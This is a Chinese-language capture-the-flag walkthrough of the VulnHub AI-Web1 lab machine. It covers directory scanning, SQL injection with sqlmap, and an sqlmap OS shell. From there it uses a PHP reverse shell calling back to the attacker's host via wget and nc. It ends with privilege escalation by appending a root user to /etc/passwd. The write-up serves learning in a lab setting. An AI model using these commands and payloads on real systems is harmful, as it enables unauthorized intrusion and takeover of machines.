AI-Web1靶机渗透
先上一张图:
靶机信息及地址:https://www.vulnhub.com/entry/ai-web-1,353/
下载到靶机后,在VMware里打开,kali使用arp-scan -l 扫到
在浏览器里打开,只有这样一句话:(我谷歌了一下这句话,没找到啥,,,,多此一举==)
然后开始dirsearch扫目录:
python dirsearch.py -u http://192.168.182.133/ -e *
只有这两个有用的信息
查看robots.txt文件
访问没有得到什么东西,继续扫
python dirsearch.py -u http://192.168.182.133/m3diNf0/ -e *
这里扫出info.php(先留着)
第二个,python dirsearch.py -u http://192.168.182.133/se3reTdir777 -e *
这里只扫出一个注入界面
火狐确认参数后 ( uid=123&Operation=Submit )
sqlmap启动!
sqlmap http://192.168.182.133/se3reTdir777/index.php/login/ --data 'uid=123&Operation=Submit' --dbs
(新学会的post传参方法,再也不用bp抓包保存用 -r 来跑sqlmap了)
按部就班得的跑,得到这些数据
扫出来3个账号密码,但是似乎在嘲讽我,毕竟我也没找到后台登陆的界面。。。。。。。。
卡了我好久
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
这之后的90%是看的别人的博客完成的
使用sqlmap反弹一个shell(因为我们有info.php,里面给出了网址路径)
sqlmap http://192.168.182.133/se3reTdir777/index.php/login/ --data 'uid=123&Operation=Submit' --os-shell
这边的参数,第一个选4,PHP,然后是 n ,第二个选 2
地址在之前的info.php 中找:
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(为什么是这个,我还要去多学学,目前没搞懂。)
成功后是这个样子的
与此同时,这时候在本机上准备一个php文件,写入
<?php
$sock=fsockopen("192.168.182.128",9966);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
(注意:这里的ip地址192.168.182.128是你的kali的ip,端口可以随便写,不要冲突就行,其他建议照抄)
然后shift+右键,打开powershell,使用python搭建一个简易服务器,
python -m http.server 9000
这是在浏览器中输入127.0.0.1:9000就可以看到你刚刚写的文件了
学艺不精,为了搞懂这个原理写了好多个文件。
然后回到我们sqlmap写shell的那个界面,使用
wget -S http://你本机的IP地址:9000/aiweb1_1.php来下载
下载成功后是这个样子的
有时候可能会出现这种情况,多试两次就好了
然后换一个Terminal窗口,使用nc -lvp 9966监听端口
(这里的9966是,上面写的,并且通过wger下载到靶机上的,php文件里的写的端口)
然后切换回之前的terminal窗口,输入php aiweb1_7.php运行文件(实际作用是连接到你的kali的端口)
如果另一边监听没反应,多是两次,实在不行,检查php代码有没有写好,ip有没有填错。
正常情况是这个样子的,这样子就是已经连接上了
可以用id,whoami等命令查看一些信息
然后在这里, 使用python提升为交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
增加一个root权限用户
先对密码进行加密
openssl passwd -1 -salt abc 000000
再写入账号密码
echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu
切换用户
su abc
这样子就实现了提权
之后cat /root/flag.txt就得到了flag
先总结一下学到的,sqlmap反弹shell,以及反弹shell的原理,python在本地搭建一个简易服务器,wget下载文件,echo写入/etc/passwd文件添加新root用户再切换用户实现提权(大部分现在只是一个初步了解的阶段,还需要不断练习提升,熟悉)
再说说不会的
(1)sqlmap --os-shell时,为什么是选择/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/这个路径
(2)php文件中的代码中的这一句exec("/bin/sh -i <&3 >&3 2>&3");具体是什么意思,如何理解
(3)python -c 'import pty;pty.spawn("/bin/bash")'这玩意儿又是个啥东西
(4)echo 'abc:$1$abc$yzqAxwzjwaO0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwdsu写入文件的格式,参数
AI-Web1靶机渗透的更多相关文章
- 22. CTF综合靶机渗透(十五)
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
- 21. CTF综合靶机渗透(十四)
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
- 18. CTF综合靶机渗透(十一)
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
- 17. CTF综合靶机渗透(十)
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
- hacknos-player靶机渗透
靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- DeRPnStiNK靶机渗透
DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...
- BTRsys1~2系列靶机渗透
BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...
- ch4inrulz: 1.0.1靶机渗透
ch4inrulz: 1.0.1靶机渗透 扫描主机端口,还行啦四个开放的端口,8011和80端口都运行着web服务. 80端口下的robots.txt告诉我们什么都没有 在8011端口的apache服 ...
随机推荐
- SpringCloud(三):服务消费以及负载均衡(RestTemplate+Ribbon)
一.什么是Ribbon: Ribbon是Netflix发布的开源项目,主要功能是提供客户端的软件负载均衡算法. 将Netflix的中间层服务连接在一起.Ribbon客户端组件提供一系列完善的配置项如连 ...
- java基础练习题
1变量.运算符和类型转换:1.1手动输入一个学生的成绩,对这个成绩进行一次加分,加当前成绩的20%,输出加分后成绩 Scanner scan = new Scanner(System.in); Sys ...
- RBAC-权限管理设计
1.RBAC(Role-Based Access Control)——基于角色的访问控制.简单来说每个角色有不同的权限,通过对用户赋予不同角色来赋予其对应权限. 2.RBAC0:最基本的用户角色多对多 ...
- 面试连环炮系列(三):synchronized怎么用的
synchronized怎么用的? 用过,synchronized是常用的并发控制关键字,简单的说就是访问加锁.它可以修饰静态方法或者一个类的class对象,这叫类锁:可以修饰普通方法或者代码块,这叫 ...
- 可编程实验板EPM1270T144C5蜂鸣器音调频率选择
always@(tone) begin case(tone) 'd1 : time_end=10'd1911 ;//L1 'd2 : time_end=10'd1702 ;//L2 'd3 : tim ...
- 【BZOJ 2138】stone
Problem Description 话说 \(Nan\) 在海边等人,预计还要等上 \(M\) 分钟.为了打发时间,他玩起了石子. \(Nan\) 搬来了 \(N\) 堆石子,编号为 \(1\) ...
- Docker Compose 基本使用
Dockercompose v3官网文档: https://docs.docker.com/compose/compose-file/ Dockercompose中文: http://www.d ...
- How to: Apply Attributes to Entity Properties when Using Model First 如何:在ModelFirst时将属性应用于实体属性
In a Model First data model, object properties are declared in the designer-generated files, and you ...
- MySQL实现统计数据并插入数据的存储过程
统计存储过程,这里是将统计的结果插入一个表中,后台可以有定时任务来调此存储过程.以下业务是统计仓库中商品流转情况,包括:日期.商品总数.入库数量.出库数量. BEGIN DECLARE ES_COR_ ...
- spring4 学习4 spring MVC+mybatis+Mysql
在前面搭建的基础上,引入新的jar包如下: aopalliance-1.0.jaraspectjweaver-1.8.8.jarmybatis-3.3.0.jarmybatis-spring-1.2. ...